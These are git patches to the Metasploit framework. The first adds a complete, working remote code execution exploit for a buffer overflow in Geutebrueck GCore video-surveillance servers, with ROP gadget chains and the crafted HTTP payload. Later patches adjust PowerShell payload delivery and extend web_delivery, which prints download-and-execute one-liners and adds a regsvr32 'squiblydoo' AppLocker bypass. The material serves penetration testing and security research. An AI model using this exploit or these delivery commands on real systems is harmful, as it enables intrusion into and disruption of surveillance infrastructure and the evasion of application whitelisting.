From d5fd620fbb8eb497ed2bc2e53460d4b298eda599 Mon Sep 17 00:00:00 2001
From: Maurice Popp <github@noedsoschlimm.ch>
Date: Tue, 14 Feb 2017 11:21:36 +0100
Subject: [PATCH 001/254] Add files via upload

---
 .../http/geutebrueck_gcore_x64_rce_bo.rb      | 286 ++++++++++++++++++
 1 file changed, 286 insertions(+)
 create mode 100644 modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
new file mode 100644
index 0000000000..c29de50090
--- /dev/null
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -0,0 +1,286 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'nokogiri'
+require 'open-uri'
+
+class MetasploitModule < Msf::Exploit::Remote
+    include Msf::Exploit::Remote::Tcp
+
+    Rank = NormalRanking
+
+    def initialize(info = {})
+        super(update_info(info,
+                          'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
+                          'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
+                          'License' => MSF_LICENSE,
+                          'Author' =>
+                          [
+                              'Luca Cappiello',
+                              'Maurice Popp'
+                          ],
+                          'References' =>
+                          [
+                              ['www.geutebrueck.com', '']
+                          ],
+                          'Platform' => 'win',
+                          'Targets' =>
+                          [
+                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
+                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
+                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
+                          ],
+                          'Payload' =>
+                          {
+                              'Space' => '2000'
+                          },
+                          'Privileged' => false,
+                          'DisclosureDate' => '2017-01-24',
+                          'DefaultTarget' => 0))
+    end
+
+    def fingerprint
+        print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
+        @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
+        statistics = @doc.css('modulestate')
+        statistics.each do |x|
+            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
+                mytarget = targets[1]
+                print_status("Vulnerable version detected: #{mytarget.name}")
+                return Exploit::CheckCode::Appears, mytarget
+            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
+                mytarget = targets[2]
+                print_status("Vulnerable version detected: #{mytarget.name}")
+                return Exploit::CheckCode::Appears, mytarget
+                end
+        end
+        print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
+        print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
+        print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
+        print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
+        [Exploit::CheckCode::Unknown, nil]
+    end
+
+    def check
+        fingerprint
+    end
+
+    def ropchain(target)
+        if target.name.include? '1.3.8.42'
+            print_status('Preparing ROP chain for target 1.3.8.42!')
+
+            # 0x140cd00a9 | add rsp, 0x10 ; ret
+            # This is needed because the next 16 bytes are sometimes messed up.
+            overwrite = [0x140cd00a9].pack('Q<')
+
+            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
+            stack_align = "\x43" * 16
+
+            # We have 40 bytes left to align our stack!
+            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+            # and to restore it.
+            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+
+            # 0x1404e5cbf: mov edx, esp ; ret
+            stack_align += [0x1404e5cbf].pack('Q<')
+
+            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+            # We pop -XXXXX as \xxxxxxxxx to rax
+            # 0x14013db94  pop rax ; ret
+            stack_align += [0x14013db94].pack('Q<')
+            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+
+            # Our value is enough.
+            # 0x1407dc547  | add rax,rdx ; ret
+            stack_align += [0x1407dc547].pack('Q<')
+
+            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
+            stack_align += [0x140ce9ac0].pack('Q<')
+
+            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+            # We want RCX to hold the value for VP Argument "Address of Shellcode"
+            # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+            rop = ''
+            rop += [0x140cc2234].pack('Q<')
+            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            # 0x1400ae2ae    | POP RDX; RETN
+            # 0x...1000      | Value for VP "Size of Memory"
+            rop += [0x1400ae2ae].pack('Q<')
+            rop += [0x0000000000000400].pack('Q<')
+
+            # 0x14029dc6e:   | POP R8; RET
+            # 0x...40        | Value for VP "Execute Permissions"
+            rop += [0x14029dc6e].pack('Q<')
+            rop += [0x0000000000000040].pack('Q<')
+
+            # 0x1400aa030    | POP R9; RET
+            # 0x1409AE1A8 is the .data section of gcore
+            rop += [0x1400aa030].pack('Q<')
+            rop += [0x1409AE1A8].pack('Q<')
+
+            # 0x140b5927a: xor rax, rax ; ret
+            rop += [0x140b5927a].pack('Q<')
+
+            # 0x1402ce220 pop rax ; ret
+            # 0x140d752b8 | VP Stub IAT Entry
+            rop += [0x1402ce220].pack('Q<')
+            rop += [0x140d752b8].pack('Q<')
+
+            # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
+            rop += [0x1407c6b3b].pack('Q<')
+
+            # 0x140989c41 push rax; ret
+            rop += [0x140989c41].pack('Q<')
+
+            # 0x1406d684d jmp rsp
+            rop += [0x1406d684d].pack('Q<')
+
+            [rop, overwrite, stack_align]
+
+        elsif target.name.include? '1.4.2.37'
+            print_status('Preparing ROP chain for target 1.4.2.37!')
+
+            # 0x140cd9759 | add rsp, 0x10 ; ret
+            # This is needed because the next 16 bytes are sometimes messed up.
+            overwrite = [0x140cd9759].pack('Q<')
+
+            # These bytes "\x43" are sacrificed ; we align the stack to jump over this.
+            stack_align = "\x43" * 16
+
+            # We have 40 bytes left to align our stack!
+            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+            # and to restore it.
+            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+
+            # 0x1404f213f: mov edx, esp ; ret
+            stack_align += [0x1404f213f].pack('Q<')
+
+            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+            # We pop -XXXXX as \xxxxxxxxx to rax
+            # 0x14000efa8  pop rax ; ret
+            stack_align += [0x14000efa8].pack('Q<')
+            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
+
+            # Our value is enough.
+            # 0x140cdfe65  | add rax,rdx ; ret
+            stack_align += [0x140cdfe65].pack('Q<')
+
+            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+            # 0x140cf3110 | mov rsp, rax ; ..... ; ret
+            stack_align += [0x140cf3110].pack('Q<')
+
+            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+            # We want RCX to hold the value for VP Argument "Address of Shellcode"
+            # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+            rop = ''
+            rop += [0x140ccb984].pack('Q<')
+            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+            # 0x14008f7ec      | POP RDX; RETN
+            # 0x...1000        | Value for VP "Size of Memory"
+            rop += [0x14008f7ec].pack('Q<')
+            rop += [0x0000000000000400].pack('Q<')
+
+            # 0x140a88f81:   | POP R8; RET
+            # 0x...40        | Value for VP "Execute Permissions"
+            rop += [0x140a88f81].pack('Q<')
+            rop += [0x0000000000000040].pack('Q<')
+
+            # 0x1400aa030    | POP R9; RET
+            # 0x...          | Value for VP "Writeable location". Not sure if needed?
+            # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
+            rop += [0x1400aa030].pack('Q<')
+            rop += [0x140FB5000].pack('Q<')
+
+            # 0x140ccea2f: xor rax, rax ; et
+            rop += [0x140ccea2f].pack('Q<')
+
+            # 0x14000efa8 pop rax ; ret
+            # 0x140d83268 | VP Stub IAT Entry
+            rop += [0x14000efa8].pack('Q<')
+            rop += [0x140d83268].pack('Q<')
+
+            # 0x14095b254 mov rax, qword [rax] ; ret  ;
+            rop += [0x14095b254].pack('Q<')
+
+            # 0x140166c46 push rax; ret
+            rop += [0x140166c46].pack('Q<')
+
+            # 0x140cfb98d jmp rsp
+            rop += [0x140cfb98d].pack('Q<')
+
+            [rop, overwrite, stack_align]
+
+        else
+            print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
+
+        end
+      end
+
+    def exploit
+        if target['auto']
+            checkcode, target = fingerprint
+            if checkcode.to_s.include? 'unknown'
+                print_status('No vulnerable Version detected - exploit aborted.')
+            else
+                target_rop, target_overwrite, target_stack_align = ropchain(target)
+                begin
+                    connect
+                    print_status('Crafting Exploit...')
+
+                    http_req = 'GET /'
+                    buffer_200 = "\x41" * 200
+                    rop = target_rop
+                    payload.encoded
+                    buffer_1823 = "\x41" * 1823
+                    overwrite = target_overwrite
+                    stack_align = target_stack_align
+
+                    exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
+                    print_status('Exploit ready for sending...')
+                    sock.put(exploit, 'Timeout' => 20)
+                    print_status('Exploit sent!')
+                    buf = sock.get_once || ''
+                rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+                    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+                ensure
+                    print_status('Closing socket.')
+                    disconnect
+                end
+            end
+
+        else
+            print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
+            print_status("Selected version: #{self.target.name}")
+            target_rop, target_overwrite, target_stack_align = ropchain(self.target)
+            begin
+                connect
+                print_status('Crafting Exploit...')
+
+                http_req = 'GET /'
+                buffer_200 = "\x41" * 200
+                rop = target_rop
+                payload.encoded
+                buffer_1823 = "\x41" * 1823
+                overwrite = target_overwrite
+                stack_align = target_stack_align
+
+                exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
+                print_status('Exploit ready for sending...')
+                sock.put(exploit, 'Timeout' => 20)
+                print_status('Exploit sent!')
+                # sleep(10)
+                buf = sock.get_once || ''
+            rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+                elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+            ensure
+                print_status('Closing socket.')
+                disconnect
+            end
+
+      end
+    end
+end

From 1a3fe02db1ea75fa4f544c2c24c1139b5fa0d89f Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sun, 16 Jul 2017 04:20:46 -0400
Subject: [PATCH 002/254] Psexec via PSH related fixes

Implement removal of comspec and use of the noninteractive option
in powershell payloads.

This is the Msf side of #6 for rex-powershell.

Testing:
  In-house testing on 2016 standard edition and win10, 201707 revs.
---
 lib/msf/core/exploit/powershell.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index eac730b97d..906d67bd4d 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -14,6 +14,8 @@ module Exploit::Powershell
         OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
         OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
         OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
+        OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
+        OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
         OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
         OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
         OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
@@ -220,9 +222,8 @@ module Exploit::Powershell
   #
   # @return [String] Powershell command line with payload
   def cmd_psh_payload(pay, payload_arch, opts = {})
-    options.validate(datastore)
-
-    %i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload use_single_quotes no_equals method].map do |opt|
+    %i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
+    remove_comspec noninteractive use_single_quotes no_equals method].map do |opt|
       opts[opt] ||= datastore["Powershell::#{opt}"]
     end
 

From 33a06faadb0370f5e8b4cc9f09530a8288744a7c Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Tue, 18 Jul 2017 03:34:02 -0400
Subject: [PATCH 003/254] Remove use_single_quotes option from Msf namespace

Internally wrapped lines of powershell built by :cmd_psh_payload
in the Rex namespace require being able to place wrapping quotes
in different logical places for :generate_psh_command_line and
:run_hidden_psh methods. Using single quotes in the Arguments
parameter of the hidden PSH runner and double quotes after the
-Command flag maintains allows us to wrap the outer command in
double quotes, while properly ecaping and wrapping the arguments
parameter for PSH execution in single quotes.

This isn't ideal, in a perfect world we'd be escaping all nested
quotes and escape chars of any type valid for PSH. However, that
would require more manual testing than anyone has time for (now).
---
 lib/msf/core/exploit/powershell.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 906d67bd4d..d3a3bad825 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -18,7 +18,6 @@ module Exploit::Powershell
         OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
         OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
         OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
-        OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
         OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
         OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
       ]
@@ -223,7 +222,7 @@ module Exploit::Powershell
   # @return [String] Powershell command line with payload
   def cmd_psh_payload(pay, payload_arch, opts = {})
     %i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
-    remove_comspec noninteractive use_single_quotes no_equals method].map do |opt|
+    remove_comspec noninteractive no_equals method].map do |opt|
       opts[opt] ||= datastore["Powershell::#{opt}"]
     end
 

From c187f709dc7dc99c11aae26bc85cdc57a09ca0c2 Mon Sep 17 00:00:00 2001
From: M4P0 <github@noedsoschlimm.ch>
Date: Fri, 21 Jul 2017 11:37:12 +0200
Subject: [PATCH 004/254] Update geutebrueck_gcore_x64_rce_bo.rb

Review changes with msftidy.
---
 .../windows/http/geutebrueck_gcore_x64_rce_bo.rb  | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index c29de50090..c3ebbd14b8 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -3,7 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-require 'msf/core'
 require 'nokogiri'
 require 'open-uri'
 
@@ -24,21 +23,22 @@ class MetasploitModule < Msf::Exploit::Remote
                           ],
                           'References' =>
                           [
-                              ['www.geutebrueck.com', '']
+                              ['EDB','41153'],
+                              ['URL','www.geutebrueck.com']
                           ],
                           'Platform' => 'win',
                           'Targets' =>
                           [
-                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
-                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
-                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
+                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
+                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
+                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
                           ],
                           'Payload' =>
                           {
                               'Space' => '2000'
                           },
-                          'Privileged' => false,
-                          'DisclosureDate' => '2017-01-24',
+                          'Privileged' => true,
+                          'DisclosureDate' => 'Jan 24 2017',
                           'DefaultTarget' => 0))
     end
 
@@ -272,7 +272,6 @@ class MetasploitModule < Msf::Exploit::Remote
                 print_status('Exploit ready for sending...')
                 sock.put(exploit, 'Timeout' => 20)
                 print_status('Exploit sent!')
-                # sleep(10)
                 buf = sock.get_once || ''
             rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
                 elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")

From e787d433444721e7f02b932d2ffe9485a0870376 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sat, 22 Jul 2017 02:36:07 -0400
Subject: [PATCH 005/254] Implement wrap_double_quotes in Msf PSH namespace

This is the Msf side of Rex Powershell #7
---
 lib/msf/core/exploit/powershell.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index d3a3bad825..3686faa8cd 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -18,6 +18,7 @@ module Exploit::Powershell
         OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
         OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
         OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
+        OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
         OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
         OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
       ]
@@ -216,13 +217,13 @@ module Exploit::Powershell
   #   powershell script
   # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
   #   environment variable at the start of the command line
-  # @option opts [Boolean] :use_single_quotes Wraps the -Command
-  #   argument in single quotes unless :encode_final_payload
+  # @option opts [Boolean] :wrap_double_quotes Wraps the -Command
+  #   argument in double quotes unless :encode_final_payload
   #
   # @return [String] Powershell command line with payload
   def cmd_psh_payload(pay, payload_arch, opts = {})
     %i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
-    remove_comspec noninteractive no_equals method].map do |opt|
+    remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
       opts[opt] ||= datastore["Powershell::#{opt}"]
     end
 

From 1a9a942c1fb5ea8fa8c670cb5fe5d419a1b5aa1f Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Mon, 7 Aug 2017 13:31:46 -0500
Subject: [PATCH 006/254] Add external module template for capture servers

---
 lib/msf/core/modules/external/shim.rb         | 15 ++++++++---
 .../external/templates/capture_server.erb     | 27 +++++++++++++++++++
 2 files changed, 38 insertions(+), 4 deletions(-)
 create mode 100644 lib/msf/core/modules/external/templates/capture_server.erb

diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb
index 4c47d945c8..4b64d8871f 100644
--- a/lib/msf/core/modules/external/shim.rb
+++ b/lib/msf/core/modules/external/shim.rb
@@ -9,6 +9,8 @@ class Msf::Modules::External::Shim
     case mod.meta['type']
     when 'remote_exploit_cmd_stager'
       remote_exploit_cmd_stager(mod)
+    when 'capture_server'
+      capture_server(mod)
     end
   end
 
@@ -26,10 +28,6 @@ class Msf::Modules::External::Shim
     meta[:name]        = mod.meta['name'].dump
     meta[:description] = mod.meta['description'].dump
     meta[:authors]     = mod.meta['authors'].map(&:dump).join(",\n          ")
-    meta[:date]        = mod.meta['date'].dump
-    meta[:references]  = mod.meta['references'].map do |r|
-      "[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
-    end.join(",\n          ")
 
     meta[:options]     = mod.meta['options'].map do |n, o|
       "Opt#{o['type'].capitalize}.new(#{n.dump},
@@ -39,11 +37,15 @@ class Msf::Modules::External::Shim
   end
 
   def self.mod_meta_exploit(mod, meta = {})
+    meta[:date]        = mod.meta['date'].dump
     meta[:wfsdelay]    = mod.meta['wfsdelay'] || 5
     meta[:privileged]  = mod.meta['privileged'].inspect
     meta[:platform]    = mod.meta['targets'].map do |t|
       t['platform'].dump
     end.uniq.join(",\n          ")
+    meta[:references]  = mod.meta['references'].map do |r|
+      "[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
+    end.join(",\n          ")
     meta[:targets]     = mod.meta['targets'].map do |t|
       "[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
     end.join(",\n          ")
@@ -56,4 +58,9 @@ class Msf::Modules::External::Shim
     meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
     render_template('remote_exploit_cmd_stager.erb', meta)
   end
+
+  def self.capture_server(mod)
+    meta = mod_meta_common(mod)
+    render_template('capture_server.erb', meta)
+  end
 end
diff --git a/lib/msf/core/modules/external/templates/capture_server.erb b/lib/msf/core/modules/external/templates/capture_server.erb
new file mode 100644
index 0000000000..cbcb4735b8
--- /dev/null
+++ b/lib/msf/core/modules/external/templates/capture_server.erb
@@ -0,0 +1,27 @@
+require 'msf/core/modules/external/bridge'
+require 'msf/core/module/external'
+
+class MetasploitModule < Msf::Auxiliary
+  # include Msf::Auxiliary::Report
+  include Msf::Module::External
+
+  def initialize
+    super({
+	  <%= common_metadata meta %>
+      'Actions'     => [ ['Capture'] ],
+      'PassiveActions' => ['Capture'],
+      'DefaultAction'  => 'Capture'
+      })
+
+      register_options([
+        <%= meta[:options] %>
+      ])
+  end
+
+  def run
+    print_status("Starting server...")
+    mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
+    mod.run(datastore)
+    wait_status(mod)
+  end
+end

From e7b4cb71b1cd6bb4f3c7c0b5a945b6d852573d14 Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 6 Sep 2017 12:27:04 +0100
Subject: [PATCH 007/254] Add PSH-Proxy to multi/script/web_delivery

---
 modules/exploits/multi/script/web_delivery.rb | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 9adc1dacb4..26054b2f9d 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -62,6 +62,12 @@ class MetasploitModule < Msf::Exploit::Remote
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jul 19 2013'
     ))
+
+  register_advanced_options(
+    [
+      OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ])
+    ], self.class
+  )
   end
 
   def on_request_uri(cli, _request)
@@ -89,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
     when 'PSH'
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
-      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
+      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
       download_and_run = "#{ignore_cert}#{download_string}"
       print_line generate_psh_command_line(
                                              noprofile: true,

From b884705a9350f3eb8712db820d165d2859b9cdd0 Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 6 Sep 2017 12:35:52 +0100
Subject: [PATCH 008/254] regsvr32_applocker_bypass_server -> web_delivery

---
 modules/exploits/multi/script/web_delivery.rb | 69 +++++++++++++++----
 .../misc/regsvr32_applocker_bypass_server.rb  |  3 +
 2 files changed, 57 insertions(+), 15 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 26054b2f9d..11a4345eb4 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -15,22 +15,31 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'         => 'Script Web Delivery',
       'Description'  => %q(
-        This module quickly fires up a web server that serves a payload.
-        The provided command will start the specified scripting language interpreter and then download and execute the
-        payload. The main purpose of this module is to quickly establish a session on a target
-        machine when the attacker has to manually type in the command himself, e.g. Command Injection,
-        RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
-        write to disk so it is less likely to trigger AV solutions and will allow privilege
-        escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
-        payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
-        x86 payloads on x64 machines.
+           This module quickly fires up a web server that serves a payload.
+        The provided command which will allow for a payload to download and execute.
+        It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
+        for bypassing application whitelisting. The main purpose of this module is to quickly establish
+        a session on a target machine when the attacker has to manually type in the command:
+        e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
+        This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
+        escalations supplied by Meterpreter.
+
+        When using either of the PSH targets, ensure the payload architecture matches the target computer
+        or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
+
+        Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
+        The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
+        PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
+        can occur on the same port.
       ),
       'License'      => MSF_LICENSE,
       'Author'       =>
         [
           'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
           'Ben Campbell',
-          'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
+          'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
+          'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
+          'Trenton Ivey',   # AppLocker MSF Module (kn0)
         ],
       'DefaultOptions' =>
         {
@@ -41,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Remote
           ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
           ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
           ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
-          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
+          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
+          ['URL', 'http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
         ],
       'Platform'       => %w(python php win),
       'Targets'        =>
@@ -57,6 +67,10 @@ class MetasploitModule < Msf::Exploit::Remote
           ['PSH', {
             'Platform' => 'win',
             'Arch' => [ARCH_X86, ARCH_X64]
+          }],
+          ['Regsvr32', {
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64]
           }]
         ],
       'DefaultTarget'  => 0,
@@ -71,15 +85,21 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def on_request_uri(cli, _request)
-    print_status('Delivering Payload')
-    if target.name.include? 'PSH'
+    if _request.raw_uri =~ /\.sct$/
+      print_status("Handling .sct Request")
+      psh = gen_psh(get_uri)
+      data = gen_sct_file(psh)
+      send_response(cli, data, 'Content-Type' => 'text/plain')
+    elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
+      print_status("Delivering Payload")
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              remove_comspec: true,
                              exec_in_place: true
                            )
     else
-      data = %Q(#{payload.encoded} )
+      print_status("Delivering Payload")
+      data = %Q(#{payload.encoded})
     end
     send_response(cli, data,  'Content-Type' => 'application/octet-stream')
   end
@@ -94,14 +114,33 @@ class MetasploitModule < Msf::Exploit::Remote
